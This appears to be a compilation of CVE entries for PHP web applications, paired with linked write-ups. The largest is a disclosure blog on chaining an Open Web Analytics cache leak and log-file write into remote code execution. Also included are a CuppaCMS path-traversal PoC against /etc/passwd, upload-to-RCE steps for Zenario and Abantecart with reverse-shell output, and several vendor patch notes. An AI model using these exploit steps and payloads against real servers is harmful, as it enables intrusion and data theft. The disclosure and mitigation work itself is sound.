Open Web Analytics (OWA) before 1.7.4 allows an unauthenticated remote attacker to obtain sensitive user information, which can be used to gain admin privileges by leveraging cache hashes. This occurs because files generated with '<?php (instead of the intended "<?php sequence) aren't handled by the PHP interpreter.

Open Web Analytics (OWA) is an open-source alternative to Google Analytics. OWA is written in PHP and can be hosted on an own server. Version 1.7.3 suffers from two vulnerabilities, which can be exploited by an unauthenticated attacker to gain RCE, when chained together.

The cause of the first vulnerability (CVE-2022-24637) is a single quote / double quote confusion, which leads to an information disclosure. The header of an automatically generated PHP cache file containing sensitive information is defined as '<?php\\n…' instead of "<?php\\n…". This leads to a literal backslash and n character being written instead of a newline character resulting in a broken PHP tag. Because of this the file is not interpreted as PHP code, but delivered in plain leaking sensitive cache information. This information can be leveraged to set a new password for the admin user.

The second vulnerability is a PHP file write, which requires admin privileges. The internal settings for the logfile path as well as the log level can be changed by manually crafting a POST request. This way the logfile can be set to a PHP file. By also increasing the log level and generating an event with attacker controlled data, PHP code can be injected into this logfile. This results in the possibility to execute arbitrary PHP code.

I would like to thank Peter Adams, the creator and maintainer of OWA who released a patch for the issue only one day after my initial notification. I was really amazed by the quick and professional reaction. There are security issues in each and every software, but the difference is how these are dealt with.

– Introduction  
– Single / Double Quote Confusion  
– PHP file write  
– Demonstration  
– Patch and Mitigations  
– Conclusion

**Introduction**

Open Web Analytics (OWA) is an open-source web analytics software written in PHP and using a MySQL database. The source code is freely available on GitHub. OWA offers profound tracking capabilities as well as a wide variety of detailed reports. In contrast to Google Analytics, OWA can be hosted on an own server.

In this article we will take a look at two vulnerabilities in OWA, which enable an unauthenticated attacker to gain RCE on the underlying webserver when combined. After determining the root cause of these vulnerabilities, we will point out how these can be mitigated and highlight a few general aspects regarding secure coding.

A basic entity in OWA is represented by the owa\_entity class. Examples for such entities inheriting from owa\_entity are documents (owa\_document), sites (owa\_site) or users (owa\_user). These entities are persisted in the MySQL database. In order to increase performance, OWA version 1.7.3 and prior uses a file based caching mechanism by default. When an entity is loaded from the database the first time, it is cached by writing its serialized data to a cache file.

The creation of these cache files is implemented in the putItemToCacheStore method within the owa\_fileCache class (modules/base/classes/fileCache.php):

...

    function putItemToCacheStore($collection, $id) {
    
            ...
        
            $data = $this->cache\_file\_header.base64\_encode(serialize($this->cache\[$collection\]\[$id\])).$this->cache\_file\_footer;

            ...
            
            $tcf\_handle = @fopen($temp\_cache\_file, 'w');

            ...
            
                fputs($tcf\_handle, $data);
                
                ...

As we can see, the serialized entity is base64 encoded and written to a temporary cache file. The name of this temporary file is later changed to consist of a unique id with a .php extension:

            ...
            
            $cache\_file = $collection\_dir.$id.'.php';
    
            ...
            
                if (!@ rename($temp\_cache\_file, $cache\_file)) {
                
                    ...

In the first code snippet we can also see that the base64 encoded data is prefixed by cache\_file\_header and suffixed by cache\_file\_footer. Let’s see how these are defined:

...

class owa\_fileCache extends owa\_cache {

    ...
    
    var $cache\_file\_header = '<?php\\n/\*';
    var $cache\_file\_footer = '\*/\\n?>';
    
    ...

Accordingly a cache file is supposed to look like this:

<?php
/\*BASE64-ENCODED DATA\*/
?>

When directly accessing such a PHP file, the response is supposed to be empty, because the file only contains a comment. Though the above strings are surrounded by single quotes instead of double quotes, which makes a severe difference when it comes to escape sequences:

php > echo '<?php\\n/\*'; // <-- single quotes
<?php\\n/\*

php > echo "<?php\\n/\*"; // <-- double quotes
<?php
/\*

As the above example shows, when using single quotes, escape sequences such as \\n are not evaluated.

What does this mean for the generated PHP file? The PHP tag <?php is supposed to be followed by a line feed (0x0a) like this:

user@b0x:~$ cat sample1.php 
<?php
echo 1;
?>

user@b0x:~$ php -f sample1.php
1

Valid alternatives for the line feed are tab (0x09), carriage return (0x0d) or space (0x20). Though, when the PHP tag is directly followed by a backslash character, it is no a valid PHP tag anymore and the PHP code is not interpreted, but rather displayed in plain:

user@b0x:/tmp$ cat sample2.php
<?php\\necho 1;\\n?>

user@b0x:/tmp$ php -f sample2.php
<?php\\necho 1;\\n?>

Since the PHP cache files are publicly accessible (owa-data/caches/), we can retrieve the base64 encoded serialized data. In order to do this, we need to know the name of the cache file. Though it turned out, that the filename is predictable. If the admin user at least logged in once, the cache file exists. But even if the user never logged in, we can trigger the creation by trying to login with this user. The failed login attempt does also create the cache file.

After calculating the filename, we can easily retrieve the cache file:

user@b0x:~$ curl http://localhost/owa\_web/owa-data/caches/1/owa\_user/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.php

<?php\\n/\*Tzo4OiJvd2FfdXNlciI6NTp7czo0OiJ ... YWNoZSI7Tjt9\*/\\n?>

The base64 encoded data contains all properties of the user within the MySQL database including the username, hashed password, temp\_passkey and API key:

user@b0x:~$ echo Tzo4OiJvd2FfdXNlciI6NTp7czo0OiJ ... YWNoZSI7Tjt9 | base64 -d
O:8:"owa\_user":5:{s:4:"name";s:9:"base.user";s:10:"properties"; ...
...
... s:4:"name";N;s:5:"value";s:5:"admin"; ...
... s:8:"password";O:12:"owa\_dbColumn":11:{s:4:"name";N;s:5:"value";s:60:"$2y$10$vT89Rpbp/kz92SdR2j03luLVFOy7ldaqdyOIpTmFtmp2WGGOmFIwS"; ...
... s:12:"temp\_passkey";O:12:"owa\_dbColumn":11:{s:4:"name";N;s:5:"value";s:32:"d7d8c0d6c8da08adea071fa80220b121"; ...
... s:7:"api\_key";s:5:"value";s:32:"2f37b9889afb326b2ae21a5eb45933bd"; ...
...
}s:12:"wasPersisted";b:1;s:5:"cache";N;}

The password is hashed and thus needs to be cracked before being valuable. Though the temp\_passkey can directly be used to set a new password for the user via the base.usersChangePassword action. After changing the password, an attacker can successfully login and now has full admin privileges.

**PHP file write**

The second vulnerability is a PHP file write, which requires admin privileges.

By browsing to the Settings tab in the admin interface, different options can be set:

When updating the settings (action base.optionsUpdate) the controller owa\_optionsUpdateController is triggered, which is responsible for persisting the new settings:

class owa\_optionsUpdateController extends owa\_adminController {

    ...

    function action() {

        $c = owa\_coreAPI::configSingleton();

        $config\_values = $this->get('config');

        if (!empty($config\_values)) {

            foreach ($config\_values as $k => $v) {

                list($module, $name) = explode('.', $k);

                if ( $module && $name ) {
                    $c->persistSetting($module, $name, $v);
                }
            }

            $c->save();
            owa\_coreAPI::notice("Configuration changes saved to database.");
            $this->setStatusCode(2500);
        }

        $this->setRedirectAction('base.optionsGeneral');
    }

    ...

The selected settings are sent via the config parameter ($config\_values). As we can see there is no restriction on the settings we can define. Although only a few settings are displayed in the GUI on the Settings tab, we can change all other settings by crafting a corresponding POST request.

Two of these settings are used within the owa\_error class, which is responsible for logging. When the application is running in production mode, the method createProductionHandler is called to initialize the logfile by calling make\_file\_logger:

...
class owa\_error {

    ...

    function createProductionHandler() {

        ...
        
        $this->make\_file\_logger();

        ...
    }
    
    ...
    
    function make\_file\_logger() {

        $path = owa\_coreAPI::getSetting('base', 'error\_log\_file');
        //instantiate a a log file
        $conf = array('name' => 'debug\_log', 'file\_path' => $path);
        $this->loggers\['file'\] = owa\_coreAPI::supportClassFactory( 'base', 'logFile', $conf );
    }

As we can see the file path of the logfile is determined by calling the owa\_coreAPI::getSetting method. The setting being used is base.error\_log\_file. We can control this value and thus control the file path, where the log is being written. This means that we can also set the file path to be a PHP file. In order to execute arbitrary PHP code, we only need to control some data, which is written to the logfile.

By default the application is only logging events with the log level OWA\_LOG\_NOTICE. These messages are mainly static and do not contain any data, which can be controlled by an attacker. Thus let’s have a look at the logging mechanism.

When a message is supposed to be logged, the method logMsg is called with the corresponding priority (log level):

    function logMsg( $msg, $priority ) {

        ...
        
        // check error priority before logging.
        if ( owa\_coreAPI::getSetting('base', 'error\_log\_level') <= $priority ) {

            $dt = date("H:i:s Y-m-d");
            $pid = getmypid();
            foreach ( $this->loggers as $logger ) {

                $message = sprintf("%s %s \[%s\] %s \\n", $dt, $pid, $logger->name, $msg);
                $logger->append( $message );
                ...

The code snippet above shows that before the message is actually logged, the value of base.error\_log\_level is checked. If the $priority value is greater or equal than the current base.error\_log\_level, the message is logged. We can also control the value of base.error\_log\_level. By setting this value to OWA\_LOG\_DEBUG = 2, the messages being logged are very verbose and even include each POST parameter send to the application. This way an attacker can easily inject arbitrary PHP code into the logfile. By accessing this logfile, which was set to a PHP file, the injected code is executed resulting in RCE.

**Demonstration**

The combination of both vulnerabilities can be leveraged by an unauthenticated attacker to gain RCE as the following demonstration shows:

**Patch and Mitigations**

Within this section we want to determine how both of these vulnerabilities can be mitigated and point out a few general aspects regarding secure coding.

Only shortly after my notification Peter provided a patch for the file cache vulnerability (CVE-2022-24637). This patch tackles the vulnerability on multiple layers. At first single quotes for the cache\_file\_header and cache\_file\_footer are replaced by double quotes preventing the leak, which was the actual cause of the vulnerability. Though the patch contains further hardening. The secret OWA\_AUTH\_KEY value is included into the cache filename calculation. Without knowing this value, it is far harder to determine the name of the cache file. Also the owa\_user entity was removed from the cache at all. Thus there is no cache file for user entities. Not part of the above commit, but also a crucial mitigation is to prevent files from being accessed via the webserver, which are not supposed to be accessed directly. One way to achieve this is to move all files out of the webroot, which are not supposed to be accessed via the webserver. The problem with this solution is that the website administrator needs file system access beyond the webroot. Depending on the hosting or security model this might not be intended. Another way is to use a webserver specific restriction mechanism like an .htaccess file, when an apache webserver is in place.

The second vulnerability is quite common for PHP. File writes should really be handled carefully. If an attacker can control what is being written to a file, RCE is not far away. Even if the file does not reside within the webroot or does not have a .php extension, an additional local file inclusion (LFI) vulnerability, which might be useless on its own, turns this into easy RCE. In this case a restriction should enforce that the logfile can only be a .txt file. Also this file should not reside within the webroot, if viable. This restriction must be enforced, if there is the necessity of making the file path configurable. Generally the settings, which are configurable via the webinterface, should be very limited. A more adequate way to make sensitive settings configurable is by defining constant values in a config file. These can only be changed by actually altering the config file (which in the best case should only be possible to the legitimate website administrator).

Summing up, the key takeaways are:

*   Mind the difference between single and double quotes in PHP
*   When hashing values, add a secret pepper / salt value
*   Do not store any files in the webroot, which are not supposed to be accessed via the webserver, or employ restrictions to prevent direct access to these files
*   Carefully restrict file writes (content, file path and extension)
*   Restrict which settings are configurable via the webinterface

**Conclusion**

The article described the chaining of two vulnerabilities in OWA, which can be exploited by an unauthenticated attacker to gain RCE on the underlying webserver. Also we took a look at how these vulnerabilities can be mitigated and pointed out a few general aspects regarding secure coding.

Thanks again to Peter for professionally handling these issues and quickly providing a patch.

**Timeline**  
01 February 2022 – Vendor Notification  
01 February 2022 – Vendor Acknowledgement  
02 February 2022 – Vendor Patch  
18 March 2022 – Public Disclosure

Post Views: 14,875

CVE-2022-24637: From Single / Double Quote Confusion To RCE (CVE-2022-24637) – devel0pment.de

CuppaCMS v1.0 was discovered to contain a local file inclusion via the url parameter in /alerts/alertConfigField.php.

Product version:cuppaCMS v1.0 http://cuppacms.com/files/cuppa\_cms.zip

**poc**

    POST /alerts/alertConfigField.php
    urlConfig=../../../../../../../../../../../../../../etc/passwd
    

**analysis**

location: /alerts/alertConfigField.php line 77  
  
  <?php include "../components/table_manager/fields/config/".@$cuppa->POST("urlConfig"); ?>  
and $cuppa->POST

           // post
        public function POST($string){
                    return $this->sanitizeString(@$_POST[$string]);
           }
    

go on

          public function sanitizeString($string){
                    return htmlspecialchars(trim(@$string));
                }
    

so the post urlConfig without any lfi protected filter

**Repair suggestions**

you can check urlConfig ,for example check if it has .. then refuse this request

CVE-2022-25486: Unauthorized local file inclusion (LFI) vulnerability exists via the urlConfig parameter in /alerts/alertConfigField.php · Issue #25 · CuppaCMS/CuppaCMS

Sylius is an open source eCommerce platform. Prior to versions 1.9.10, 1.10.11, and 1.11.2, any other user can view the data if browser tab remains unclosed after log out. The issue is fixed in versions 1.9.10, 1.10.11, and 1.11.2. A workaround is available. The application must strictly redirect to login page even browser back button is pressed. Another possibility is to set more strict cache policies for restricted content.

**TL;DR**

🔒 **This is a security release!**

Fixes the following vulnerabilities:

*   Improper sanitize of SVG files during content upload ('Cross-site Scripting') in Sylius/Sylius
*   User token not setup to null after reset password
*   Add missing HTTP headers to avoid login forms clickjacking
*   Exposure of sensitive information by using the back button after logging out in sylius/sylius

**Details**

*   #13432 Update SalesDataProvider.php (@remoteclient)
*   #13723 \[Docs\] Deployment on artifakt (@AdamKasp)
*   #13731 \[Taxation\] Add validation of negative tax rate (@coldic3)
*   #13734 \[JS\] add empty value to autocomplete selects (@SirDomin)
*   #13735 \[Docs\] add note to translation (@AdamKasp)
*   #13737 \[Admin\] Fix undefined labels in taxon autocomplete (@ernestWarwas)
*   #13738 \[Docs\] Synchronous messenger transport (@Rafikooo)
*   #13750 \[Admin\]\[Shop\] placehold.it replaced to local placeholders (@ernestWarwas)
*   #13751 \[Docs\] Blank line removed (@Rafikooo)
*   #13756 \[GitHub Actions\] Change PHP ini values + clear cache (@GSadee)
*   #13765 \[Security\] Fixes for SVG XSS, wrong cache for logged in users and clickjacking (@ernestWarwas, @lchrusciel, @GSadee, @Zales0123, @Rafikooo)
*   #13766 \[Security\]\[API\] passwordResetToken nulled after password is changed (@lchrusciel, @ernestWarwas, @GSadee, @TheMilek)

CVE-2022-24742: Release v1.11.2 · Sylius/Sylius

The WPCargo Track & Trace WordPress plugin before 6.9.0 contains a file which could allow unauthenticated attackers to write a PHP file anywhere on the web server, leading to RCE

CVE-2021-25003

Zenario CMS 9.0.54156 is vulnerable to File Upload. The web server can be compromised by uploading and executing a web-shell which can run commands, browse system files, browse local resources, attack other servers, and exploit the local vulnerabilities, and so forth.

**Summary**  
hi team,  
I found high Upload file to RCE.

**Info**  
Zenario CMS 9.0.54156 last version  
FireFox 92.0.1 (64-bit)  

**Steps**

1.  Login to account http://xxx.xxx.x.x/admin.php?cID=1&cType=html  
    
2.  Choose Documents >> Upload documents  
    
3.  Use burpsuite and capture request file a.html  
    
4.  Click Edit document metadata >> use burpsuite to capture >> save  
    
5.  In value **current\_value**, edit value **html** to **php**  
    
6.  Click Actions >> view public link  
    

7.Copy link to URL >> **BOOM**  

Inpact :  
An attacker could upload a dangerous executable file like a virus, malware, etc..  
The web server can be compromised by uploading and executing a web-shell which can run commands, browse system files, browse local resources, attack other servers, and exploit the local vulnerabilities, and so forth.

CVE-2021-42171: Upload file to RCE in Zenario CMS 9.0.54156 · Issue #2 · hieuminhnv/Zenario-CMS-9.0-last-version

If LimitXMLRequestBody is set to allow request bodies larger than 350MB (defaults to 1M) on 32 bit systems an integer overflow happens which later causes out of bounds writes. This issue affects Apache HTTP Server 2.4.52 and earlier.

CVE-2022-22721: Apache HTTP Server 2.4 vulnerabilities

An issue in index.php of OneNav v0.9.14 allows attackers to perform directory traversal.

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Pick a username

Email Address

Password

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2022-26276: OneNav has directory traversal with file inclusion that can lead to Getshell · Issue #44 · helloxz/onenav

lib/Horde/Mime/Viewer/Ooo.php in Horde Mime_Viewer before 2.2.4 allows XSS via an OpenOffice document, leading to account takeover in Horde Groupware Webmail Edition. This occurs after XSLT rendering.

@@ -98,7 +98,10 @@ protected function \_render()

} elseif ($file\['name'\] == 'content.xml') {

return array(

$this\->\_mimepart\->getMimeId() => array(

'data' => str\_replace(array\_keys($tags), array\_values($tags), $content),

'data' => Horde\_Text\_Filter::filter(

str\_replace(array\_keys($tags), array\_values($tags), $content),

'xss'

),

'status' => array(),

'type' => 'text/html; charset=UTF-8'

)

CVE-2022-26874: [jan] Fix XSS vulnerability in Open Document mime viewer with differe… · horde/Mime_Viewer@02b46ce

Abantecart through 1.3.2 allows remote authenticated administrators to execute arbitrary code by uploading an executable file, because the Catalog>Media Manager>Images settings can be changed by an administrator (e.g., by configuring .php to be a valid image file type).

Permalink

Cannot retrieve contributors at this time

\# Exploit Title: Authenticated Remote Code Execution in Abantecart-1.3.2

\# Remote Code Execution in Abantecart-1.3.2 and earlier allows remote attackers to execute arbitrary code via uploading a php web shell. Abantecart-1.3.2 and earlier allows remote authenticated administrators to execute arbitrary code by uploading an executable file, because the Uploadable File Types setting can be changed by an administrator.

\# Exploit Author: Sarang Tumne @CyberInsane (Twitter: @thecyberinsane) #HTB profile: https://www.hackthebox.com/home/users/profile/2718

\# Date: 3rd Mar'2022

\# CVE ID: CVE-2022-26521

\# Confirmed on release 1.3.2

\# Vendor: https://www.abantecart.com/download

###############################################

#Step1- Login with Admin Credentials

#Step2- Uploading .php files is disabled by default hence we need to abuse the functionality:

Goto Catalog=>Media Manager=>Images=>Edit=> Add php in Allowed file extensions

#Step3- Now Goto Add Media=>Add Resource=> Upload php web shell

#Step4- Copy the Resource URL location and execute it in the browser e.g. :

Visit //IP\_ADDR/resources/image/18/7a/4.php (Remove the //) and get the reverse shell:

listening on \[any\] 4477 ...

connect to \[192.168.56.1\] from (UNKNOWN) \[192.168.56.130\] 34532

Linux debian 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86\_64 GNU/Linux

11:17:51 up 2:15, 1 user, load average: 1.91, 1.93, 1.52

USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT

bitnami tty1 - 09:05 1:05m 0.20s 0.01s -bash

uid=1(daemon) gid=1(daemon) groups=1(daemon)

/bin/sh: 0: can't access tty; job control turned off

$ whoami

daemon

$ id

uid=1(daemon) gid=1(daemon) groups=1(daemon)

$

CVE-2022-26521: 0days/Exploit.txt at main · sartlabs/0days

PhpMyAdmin 5.1.1 and before allows an attacker to retrieve potentially sensitive information by creating invalid requests. This affects the lang parameter, the pma_parameter, and the cookie section.

2022-02-11

The phpMyAdmin team announces the release of versions 4.9.10 and 5.1.3.

These versions primarily address a regression that caused the navigation pane to not function correctly when multiple pages of tables were shown.

Version 5.1.3 includes a security hardening improvement. The issue, reported by Rafael Pedrero, could allow users to cause an error that would reveal the path on disk where phpMyAdmin is running from. We believe this requires the server to be running with display\_errors on, which is not the recommended setting for a production environment.

Version 5.1.3 includes a few other minor bug fixes and is recommended for all users.

Note that version 4.9 is in extended security support only. Version 5.2.0 is in final testing and is expected to replace the 5.1 branch in the coming week or weeks, with no changes to required versions of PHP or database server.

For the phpMyAdmin team, Isaac

Tag

#php